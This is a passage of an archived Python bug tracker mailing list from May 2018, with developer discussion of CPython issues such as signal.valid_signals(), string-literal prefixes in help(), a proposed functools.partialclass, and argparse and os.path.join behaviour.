Python 2.7 Added file: https://bugs.python.org/file47571/Tri_fichier_texte.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 06:43:14 2018 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 04 May 2018 10:43:14 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525430594.35.0.682650639539.issue33422@psf.upfronthosting.co.za> Eric V. Smith added the comment: It's not clear to me what you're typing to get the output in the first message. Can you clarify? Is this at the interactive prompt? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 07:01:01 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 04 May 2018 11:01:01 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525431661.62.0.682650639539.issue33332@psf.upfronthosting.co.za> Antoine Pitrou added the comment: New changeset 9d3627e311211a1b4abcda29c36fe4afe2c46532 by Antoine Pitrou in branch 'master': bpo-33332: Add signal.valid_signals() (GH-6581) https://github.com/python/cpython/commit/9d3627e311211a1b4abcda29c36fe4afe2c46532 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 07:01:34 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 04 May 2018 11:01:34 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525431694.37.0.682650639539.issue33332@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 07:03:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 04 May 2018 11:03:38 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525431818.39.0.682650639539.issue33332@psf.upfronthosting.co.za> STINNER Victor added the comment: FYI on Fedora 27, I get: >>> signal.NSIG 65 >>> set(range(0, signal.NSIG)) - signal.valid_signals() {0, 33, 32} >>> len(signal.valid_signals()) 62 >>> min(signal.valid_signals()) >>> max(signal.valid_signals()) So signals 0, 32 and 33 are invalid, the first valid signal is 1 and the last is 64. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 07:05:18 2018 From: report at bugs.python.org (Robin Champavier) Date: Fri, 04 May 2018 11:05:18 +0000 Subject: [issue33425] Library glob : Can't find a specific year with glob In-Reply-To: <1525428887.45.0.682650639539.issue33425@psf.upfronthosting.co.za> Message-ID: <1525431918.74.0.682650639539.issue33425@psf.upfronthosting.co.za> Change by Robin Champavier : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 07:40:32 2018 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 04 May 2018 11:40:32 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525434032.84.0.682650639539.issue33419@psf.upfronthosting.co.za> Neil Girdhar added the comment: I'm not sure that this should be in the stdlib. The three-line function can be enough for your simple case, and it is too simple for including it in the stdlib. But for general stdlib quality solution it lacks many details. 1. It doesn't work with classes that implement the constructor as __new__, but not __init__. It may need of using metaclasses with overridden __call__. But how then handle classes with custom metaclasses? Can you illustrate how you would do it for these kinds of classes? Anyway, I think using __new__ on user classes is extremely rare. 2. inspect.signature() doesn't give the correct signature as for partial(). This requires changing the inspect module. Good point. I can look into this. 3. pickling and copying of instances are broken in many cases. Pickling a class is always broken. I afraid that this can't be solved without significant reworking of the pickle and the copy modules. Okay, interesting, but this doesn't seem relevant to partialclass. 4. It adds instance attributes __dict__ and __weakref__ even if they were disabled by using __slots__. This increases the size of instances and breaks some properties. Can we just copy the parent class' __slots__ to the partialclass return value? 5. repr() of the class doesn't show that it is a partialclass (unlike to the result of partial()). I will fix this. 6. Many alternate constructors and copying methods are broken. For example the copy() method of partialclass(defaultdict, list) in your example. There is no general solution of this, it should be solved individually for every class. Ultimately, if pickling works, then copying should work too. The usual way I do it is implementing __getnewargs__, etc. This should work fine? > If there is a need of this feature in the stdlib, it needs changing many parts of the stdlib. And the result will still need an additional work for every concrete class. Fair enough. > Also note that the term "partial class" has different well known meaning in some other programming languages: https://en.wikipedia.org/wiki/Class_(computer_programming)#Partial . Interesting. Similarly "partial function" means something else. That's why I changed the documentation to use the terms: "partial class application", "partial function application", and "partial method application". All of these are "partial applications": https://en.wikipedia.org/wiki/Partial_application . Should we discuss this on github? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 08:30:27 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 04 May 2018 12:30:27 +0000 Subject: [issue6270] Menu deletecommand fails if command is already deleted In-Reply-To: <1244754580.13.0.801057820447.issue6270@psf.upfronthosting.co.za> Message-ID: <1525437027.98.0.682650639539.issue6270@psf.upfronthosting.co.za> Cheryl Sabella added the comment: I installed the latest version of pmw on Ubuntu 14.04 and did not receive any errors using the supplied test snippet. It appears that pmw added a patch to the code to only delete the commands when used with Python versions before 2.5.4 so that this bug would not be triggered. This could be revisited if someone else runs into an issue with deletecommand, but closing for now as out of date. ---------- nosy: +csabella resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 08:32:07 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 04 May 2018 12:32:07 +0000 Subject: [issue26256] Fast decimalisation and conversion to other bases In-Reply-To: <1454322513.41.0.794136944555.issue26256@psf.upfronthosting.co.za> Message-ID: <1525437127.64.0.682650639539.issue26256@psf.upfronthosting.co.za> Cheryl Sabella added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 09:02:34 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 04 May 2018 13:02:34 +0000 Subject: [issue5430] imaplib: must not replace LF or CR by CRLF in literals In-Reply-To: <1236325877.36.0.637700625895.issue5430@psf.upfronthosting.co.za> Message-ID: <1525438954.18.0.682650639539.issue5430@psf.upfronthosting.co.za> Cheryl Sabella added the comment: I'm not sure if this is a 2.6/2.7 only issue because the code mentioned in msg86572 still exists, although with a change for #21800 (RFC 6855/UTF-8) applied. For reference, #25591 expanded the test coverage for the imaplib. However, I don't see any tests related to CR or LF in literals. ---------- nosy: +csabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 09:21:41 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 04 May 2018 13:21:41 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525440101.1.0.682650639539.issue33332@psf.upfronthosting.co.za> Cheryl Sabella added the comment: On Ubuntu 14.04, I get the same results as Victor. ---------- nosy: +csabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 09:22:14 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 04 May 2018 13:22:14 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525440134.88.0.682650639539.issue33332@psf.upfronthosting.co.za> Antoine Pitrou added the comment: This is expected, see issue33329. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 09:23:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 04 May 2018 13:23:43 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525440223.03.0.682650639539.issue33332@psf.upfronthosting.co.za> STINNER Victor added the comment: + if (sigemptyset(&mask) || sigfillset(&mask)) { I'm not sure that sigemptyset() is needed. sigfillset() manual page: sigfillset() initializes set to full, including all signals. The function is used to *initialize* a set. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 09:29:30 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 04 May 2018 13:29:30 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525440570.27.0.682650639539.issue33332@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Yes, but we're not losing anything by being overly cautious. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 09:33:24 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 04 May 2018 13:33:24 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525440804.33.0.682650639539.issue33422@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Eric, I entered "r'" in the interactive prompt. Serhiy, using the code in tokenize, I got a total of 144 combinations. For comparison, the list of symbols help() shows, after the proposed change, has 67 items. IMHO, we should compromise. Maybe just mentioning the letters? With no quoting character. I do know that this can be confusing, since J is shown as a letter but it's used as a suffix unlike b/f/r/u... What do you think? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 09:37:35 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 04 May 2018 13:37:35 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525441055.32.0.682650639539.issue33422@psf.upfronthosting.co.za> Andr?s Delfino added the comment: To get the 144 combinations I used the logic in tokenize.py: import re def _combinations(*l): return set( x + y for x in l for y in l + ("",) if x.casefold() != y.casefold() ) _strprefixes = ( _combinations('r', 'R', 'f', 'F') | _combinations('r', 'R', 'b', 'B') | {'u', 'U', 'ur', 'uR', 'Ur', 'UR'} ) triple_quoted = ( {"'''", '"""'} | {f"{prefix}'''" for prefix in _strprefixes} | {f'{prefix}"""' for prefix in _strprefixes} ) single_quoted = ( {"'", '"'} | {f"{prefix}'" for prefix in _strprefixes} | {f'{prefix}"' for prefix in _strprefixes} ) all_combinations = _strprefixes | single_quoted | triple_quoted print(' '.join(list(all_combinations))) print(len(all_combinations)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 11:25:19 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 04 May 2018 15:25:19 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525447519.77.0.682650639539.issue33422@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I don't think we need to support prefixes without quotes or with triple qoutes. 'ur' is not valid prefix. Using simplified code from tokenize: _strprefixes = [''.join(u) + q for t in ('b', 'r', 'u', 'f', 'br', 'rb', 'fr', 'rf') for u in itertools.product(*[(c, c.upper()) for c in t]) for q in ("'", '"')] Or you can use tokenize._all_string_prefixes() directly: _strprefixes = [p + q for p in tokenize._all_string_prefixes() for q in ("'", '"')] But it may be simple to just convert the string to lower case before looking up in the symbols dict. Then _strprefixes = [p + q for p in ('b', 'r', 'u', 'f', 'br', 'rb', 'fr', 'rf') for q in ("'", '"')] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 11:41:06 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 04 May 2018 15:41:06 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525448466.14.0.682650639539.issue33422@psf.upfronthosting.co.za> Andr?s Delfino added the comment: And what should symbols show in pydoc? Should symbols show: 1. All legal combinations with ("'", '"') (48 possible combinations) 2. Only b/f/r/u with ("'", '"') (IMHO, this is the most reasonable option) 3. Only b/f/r/u with ' or " Depending on that, we can choose one of the options you mentioned. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 12:06:50 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 04 May 2018 16:06:50 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525450010.19.0.682650639539.issue33422@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Option 2 LGTM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 12:27:57 2018 From: report at bugs.python.org (Jakub Wilk) Date: Fri, 04 May 2018 16:27:57 +0000 Subject: [issue33389] argparse redundant help string In-Reply-To: <1525030701.58.0.682650639539.issue33389@psf.upfronthosting.co.za> Message-ID: <1525451277.84.0.682650639539.issue33389@psf.upfronthosting.co.za> Change by Jakub Wilk : ---------- nosy: +jwilk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 12:58:30 2018 From: report at bugs.python.org (Jakub Wilk) Date: Fri, 04 May 2018 16:58:30 +0000 Subject: [issue33389] argparse redundant help string In-Reply-To: <1525030701.58.0.682650639539.issue33389@psf.upfronthosting.co.za> Message-ID: <1525453110.58.0.682650639539.issue33389@psf.upfronthosting.co.za> Jakub Wilk added the comment: GNU programs seem to use this format: $ ls --help | grep ',.*=[A-Z]' -I, --ignore=PATTERN do not list implied entries matching shell PATTERN -T, --tabsize=COLS assume tab stops at each COLS instead of 8 -w, --width=COLS set output width to COLS. 0 means no limit The argparse format is more accurate, but also less practical, especially for long variable names. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 13:10:23 2018 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 04 May 2018 17:10:23 +0000 Subject: [issue14384] Add "default" kw argument to operator.itemgetter and operator.attrgetter In-Reply-To: <1332378559.49.0.430445927373.issue14384@psf.upfronthosting.co.za> Message-ID: <1525453823.86.0.682650639539.issue14384@psf.upfronthosting.co.za> Guido van Rossum added the comment: I think represents a legitimate use case. There's another request for this on python-ideas: https://groups.google.com/d/msg/python-ideas/0jeftqQpm9c/yZ_uKO84BAAJ ---------- nosy: +gvanrossum resolution: later -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 13:57:02 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 04 May 2018 17:57:02 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525456622.1.0.682650639539.issue33422@psf.upfronthosting.co.za> Andr?s Delfino added the comment: I have updated the PR. Now symbols show: Here is a list of the punctuation symbols which Python assigns special meaning to. Enter any symbol to get more help. != + <= __ " += <> ` """ , == b" % - > b' %= -= >= f" & . >> f' &= ... >>= j ' / @ r" ''' // J r' ( //= [ u" ) /= \ u' * : ] | ** < ^ |= **= << ^= ~ *= <<= _ I don't understand how topics.py gets autogenerated by Sphinx (by te way, it says it was generated on January 2018), so I'm having trouble with using a more specific topic for f'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 14:24:52 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Fri, 04 May 2018 18:24:52 +0000 Subject: [issue33384] Build does not work with closed stdin In-Reply-To: <1524996995.63.0.682650639539.issue33384@psf.upfronthosting.co.za> Message-ID: <1525458292.2.0.682650639539.issue33384@psf.upfronthosting.co.za> Xavier de Gaye added the comment: I cannot reproduce the problem with Python 3.6.5, building pyephem and with the command: ( sleep 15; python setup.py build ) >foo.log 2>&1 ---------- nosy: +xdegaye _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 14:39:06 2018 From: report at bugs.python.org (Michael Klatt) Date: Fri, 04 May 2018 18:39:06 +0000 Subject: [issue33426] Behavior of os.path.join does not match documentation Message-ID: <1525459146.45.0.682650639539.issue33426@psf.upfronthosting.co.za> New submission from Michael Klatt : The behavior of os.path.join() regarding path separators does not match the documentation. This affects Python 3.6, and goes back to at least Python 2.7. >From the documenation: "The return value is the concatenation of path and any members of *paths with exactly one directory separator (os.sep) following each non-empty part except the last, meaning that the result will only end in a separator if the last part is empty." To me, this means that join will remove extraneous separators from the path, and that the only way to produce a trailing separator is to use join "" as the final path segment. I expect `os.path.join("/abc//", "def/")` to produce the string "/abc/def" based on the documentation, but what it actually produces is "abc//def/". ---------- assignee: docs at python components: Documentation, Library (Lib) messages: 316184 nosy: Michael Klatt, docs at python priority: normal severity: normal status: open title: Behavior of os.path.join does not match documentation type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 15:54:47 2018 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 04 May 2018 19:54:47 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1525463687.23.0.682650639539.issue33400@psf.upfronthosting.co.za> Change by Vinay Sajip : ---------- keywords: +patch pull_requests: +6394 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 16:58:21 2018 From: report at bugs.python.org (Brett Cannon) Date: Fri, 04 May 2018 20:58:21 +0000 Subject: [issue33420] [typing] __origin__ invariant broken In-Reply-To: <1525372301.54.0.682650639539.issue33420@psf.upfronthosting.co.za> Message-ID: <1525467501.72.0.682650639539.issue33420@psf.upfronthosting.co.za> Change by Brett Cannon : ---------- title: __origin__ invariant broken -> [typing] __origin__ invariant broken _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 17:18:49 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 04 May 2018 21:18:49 +0000 Subject: [issue33394] the build of the shared modules is quiet/non-visible when GNU make gets passed macros In-Reply-To: <1525109371.22.0.682650639539.issue33394@psf.upfronthosting.co.za> Message-ID: <1525468729.5.0.682650639539.issue33394@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 17:21:03 2018 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 04 May 2018 21:21:03 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1525468863.6.0.682650639539.issue33400@psf.upfronthosting.co.za> Vinay Sajip added the comment: New changeset c4994dc00d9828a99510f3851da93b0e1c18361d by Vinay Sajip in branch 'master': bpo-33400: Clarified documentation to indicate no strict adherence to ISO 8601. (GH-6702) https://github.com/python/cpython/commit/c4994dc00d9828a99510f3851da93b0e1c18361d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 17:21:39 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 04 May 2018 21:21:39 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1525468899.2.0.682650639539.issue33400@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6395 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 17:22:30 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 04 May 2018 21:22:30 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1525468950.11.0.682650639539.issue33400@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6396 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 17:42:38 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 04 May 2018 21:42:38 +0000 Subject: [issue33417] Isinstance() behavior is not consistent with the document In-Reply-To: <1525343405.44.0.682650639539.issue33417@psf.upfronthosting.co.za> Message-ID: <1525470158.97.0.682650639539.issue33417@psf.upfronthosting.co.za> Terry J. Reedy added the comment: https://docs.python.org/3/reference/datamodel.html#customizing-instance-and-subclass-checks says "Note that these methods are looked up on the type (metaclass) of a class. They cannot be defined as class methods in the actual class. This is consistent with the lookup of special methods that are called on instances, only in this case the instance is itself a class." IE, your first example is documented as wrong. Your second example, which works, follows the example in https://docs.python.org/3/reference/datamodel.html#customizing-instance-and-subclass-checks ---------- nosy: +terry.reedy resolution: -> not a bug stage: -> resolved status: open -> closed versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 18:02:51 2018 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 04 May 2018 22:02:51 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1525471371.63.0.682650639539.issue33400@psf.upfronthosting.co.za> Vinay Sajip added the comment: New changeset eb5abdc70815c4207829551ede4a7dc302d56c19 by Vinay Sajip (Miss Islington (bot)) in branch '3.6': bpo-33400: Clarified documentation to indicate no strict adherence to ISO 8601. (GH-6703) https://github.com/python/cpython/commit/eb5abdc70815c4207829551ede4a7dc302d56c19 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 22:11:49 2018 From: report at bugs.python.org (paul j3) Date: Sat, 05 May 2018 02:11:49 +0000 Subject: [issue33389] argparse redundant help string In-Reply-To: <1525030701.58.0.682650639539.issue33389@psf.upfronthosting.co.za> Message-ID: <1525486309.31.0.682650639539.issue33389@psf.upfronthosting.co.za> paul j3 added the comment: This is normal behavior for argparse. People have asked before for a more compact display. I remember suggesting changes to the HelpFormatter subclass on Stackoverflow questions, and there's probably one or more bug/issues addressing the same issue. ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 22:22:30 2018 From: report at bugs.python.org (paul j3) Date: Sat, 05 May 2018 02:22:30 +0000 Subject: [issue33415] When add_mutually_exclusive_group is built without argument, the help breaks with "IndexError: list index out of range" In-Reply-To: <1525335986.39.0.682650639539.issue33415@psf.upfronthosting.co.za> Message-ID: <1525486950.5.0.682650639539.issue33415@psf.upfronthosting.co.za> paul j3 added the comment: The usage formatter is brittle, especially the part that adds mutually exclusive markings to the normal usage string. I don't think I've seen this error before, but I'm not surprised. A real fix requires a rewrite of the usage formatter, which I've suggested in an other bug/issue. It would be a good idea to include this as a test case for such a patch. The simplest immediate fix is to just not use a mutually exclusive group when it isn't needed. I don't think it's urgent enough to require a special patch. --- start = actions.index(group._group_actions[0]) group is the mutually exclusive group that's being formatted. _group_actions is is list of Actions. The developer expected that the group would be populated (normally by 2 or more Actions), and didn't think it necessary to first check if it was empty. That's a reasonable assumption. ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 22:29:57 2018 From: report at bugs.python.org (paul j3) Date: Sat, 05 May 2018 02:29:57 +0000 Subject: [issue33389] argparse redundant help string In-Reply-To: <1525030701.58.0.682650639539.issue33389@psf.upfronthosting.co.za> Message-ID: <1525487397.52.0.682650639539.issue33389@psf.upfronthosting.co.za> paul j3 added the comment: https://bugs.python.org/issue29626 Issue with spacing in argparse module while using help This deals with a extra space that is produced when a blank metavar is used to produce a more compact help line -s , --service help text My answers have links to relevant SO questions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 22:34:18 2018 From: report at bugs.python.org (paul j3) Date: Sat, 05 May 2018 02:34:18 +0000 Subject: [issue33389] argparse redundant help string In-Reply-To: <1525030701.58.0.682650639539.issue33389@psf.upfronthosting.co.za> Message-ID: <1525487658.75.0.682650639539.issue33389@psf.upfronthosting.co.za> paul j3 added the comment: Also https://bugs.python.org/issue27303 [argparse] Unify options in help output ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 22:46:23 2018 From: report at bugs.python.org (Brian Sheldon) Date: Sat, 05 May 2018 02:46:23 +0000 Subject: [issue33392] pathlib .glob('*/') returns files as well as directories In-Reply-To: <1525094253.43.0.682650639539.issue33392@psf.upfronthosting.co.za> Message-ID: <1525488383.57.0.682650639539.issue33392@psf.upfronthosting.co.za> Brian Sheldon added the comment: This appears to be a duplicate of #22276 ---------- nosy: +brianmsheldon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 4 23:03:55 2018 From: report at bugs.python.org (MATSUURA, yosuke) Date: Sat, 05 May 2018 03:03:55 +0000 Subject: [issue33427] Dead link in "The Python Standard Library" page Message-ID: <1525489435.58.0.682650639539.issue33427@psf.upfronthosting.co.za> New submission from MATSUURA, yosuke : "The Python Standard Library" page (https://docs.python.org/3.6/library/index.html#the-python-standard-library) has a link to "Python Package Index" in the fourth paragraph but it linked to 404 URI(https://pypi.org/pypi/). That link should be changed to a new URI(https://pypi.org/). --- Fourth paragraph "In addition to the standard library, there is a growing collection of several thousand components (from individual programs and modules to packages and entire application development frameworks), available from the ""Python Package Index""(This link is broken)." ---------- assignee: docs at python components: Documentation messages: 316193 nosy: docs at python, lighthawk priority: normal severity: normal status: open title: Dead link in "The Python Standard Library" page type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 00:12:33 2018 From: report at bugs.python.org (SilentGhost) Date: Sat, 05 May 2018 04:12:33 +0000 Subject: [issue33426] Behavior of os.path.join does not match documentation In-Reply-To: <1525459146.45.0.682650639539.issue33426@psf.upfronthosting.co.za> Message-ID: <1525493553.6.0.682650639539.issue33426@psf.upfronthosting.co.za> SilentGhost added the comment: your example actually produces '/abc//def/'. However, I'm not sure where do you get the idea that it should clean up internal directory separators or do anything at all with the strings in paths. To me it reads like it's concatenating arguments skipping over the empty ones unless it's also the last one. In any case, what would you propose to fix the language to describe the behaviour more clear? ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 00:14:00 2018 From: report at bugs.python.org (SilentGhost) Date: Sat, 05 May 2018 04:14:00 +0000 Subject: [issue33392] pathlib .glob('*/') returns files as well as directories In-Reply-To: <1525094253.43.0.682650639539.issue33392@psf.upfronthosting.co.za> Message-ID: <1525493640.58.0.682650639539.issue33392@psf.upfronthosting.co.za> Change by SilentGhost : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> pathlib glob ignores trailing slash in pattern _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 00:16:55 2018 From: report at bugs.python.org (SilentGhost) Date: Sat, 05 May 2018 04:16:55 +0000 Subject: [issue22276] pathlib glob ignores trailing slash in pattern In-Reply-To: <1409053042.7.0.771163532868.issue22276@psf.upfronthosting.co.za> Message-ID: <1525493815.85.0.682650639539.issue22276@psf.upfronthosting.co.za> Change by SilentGhost : ---------- assignee: -> emilyemorehouse nosy: +brianmsheldon, emilyemorehouse stage: -> test needed versions: +Python 3.7 -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 00:17:38 2018 From: report at bugs.python.org (SilentGhost) Date: Sat, 05 May 2018 04:17:38 +0000 Subject: [issue22276] pathlib glob ignores trailing slash in pattern In-Reply-To: <1409053042.7.0.771163532868.issue22276@psf.upfronthosting.co.za> Message-ID: <1525493858.84.0.682650639539.issue22276@psf.upfronthosting.co.za> Change by SilentGhost : ---------- nosy: +robbuckley -brianmsheldon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 00:18:04 2018 From: report at bugs.python.org (SilentGhost) Date: Sat, 05 May 2018 04:18:04 +0000 Subject: [issue22276] pathlib glob ignores trailing slash in pattern In-Reply-To: <1409053042.7.0.771163532868.issue22276@psf.upfronthosting.co.za> Message-ID: <1525493884.65.0.682650639539.issue22276@psf.upfronthosting.co.za> Change by SilentGhost : ---------- versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 00:21:48 2018 From: report at bugs.python.org (SilentGhost) Date: Sat, 05 May 2018 04:21:48 +0000 Subject: [issue33427] Dead link in "The Python Standard Library" page In-Reply-To: <1525489435.58.0.682650639539.issue33427@psf.upfronthosting.co.za> Message-ID: <1525494108.89.0.682650639539.issue33427@psf.upfronthosting.co.za> SilentGhost added the comment: The language of that paragraph could be updated as well. ---------- nosy: +SilentGhost stage: -> needs patch versions: +Python 2.7, Python 3.4, Python 3.5, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 01:29:31 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 05 May 2018 05:29:31 +0000 Subject: [issue14384] Add "default" kw argument to operator.itemgetter and operator.attrgetter In-Reply-To: <1332378559.49.0.430445927373.issue14384@psf.upfronthosting.co.za> Message-ID: <1525498171.31.0.682650639539.issue14384@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FWIW, Joe Jevnik worked hard to squeeze every possible nanosecond out of these calls because they were frequently used. Extending this API will tend to undo his efforts. The original intent of itemgetter() was to provide a minimal alternative to writing a simple lambda -- it did not have the goal of being a parameterized way to express all possible calling patterns -- it just aspired to be good at the common cases. In particular, itemgetter/attrgetter/methodcaller aimed at building key-functions for sorted/min/max/nlargest/nsmallest applied to a homogenous list of records. In none of those cases would it have been common or normal to have a missing fields with meaningful default values. Over the 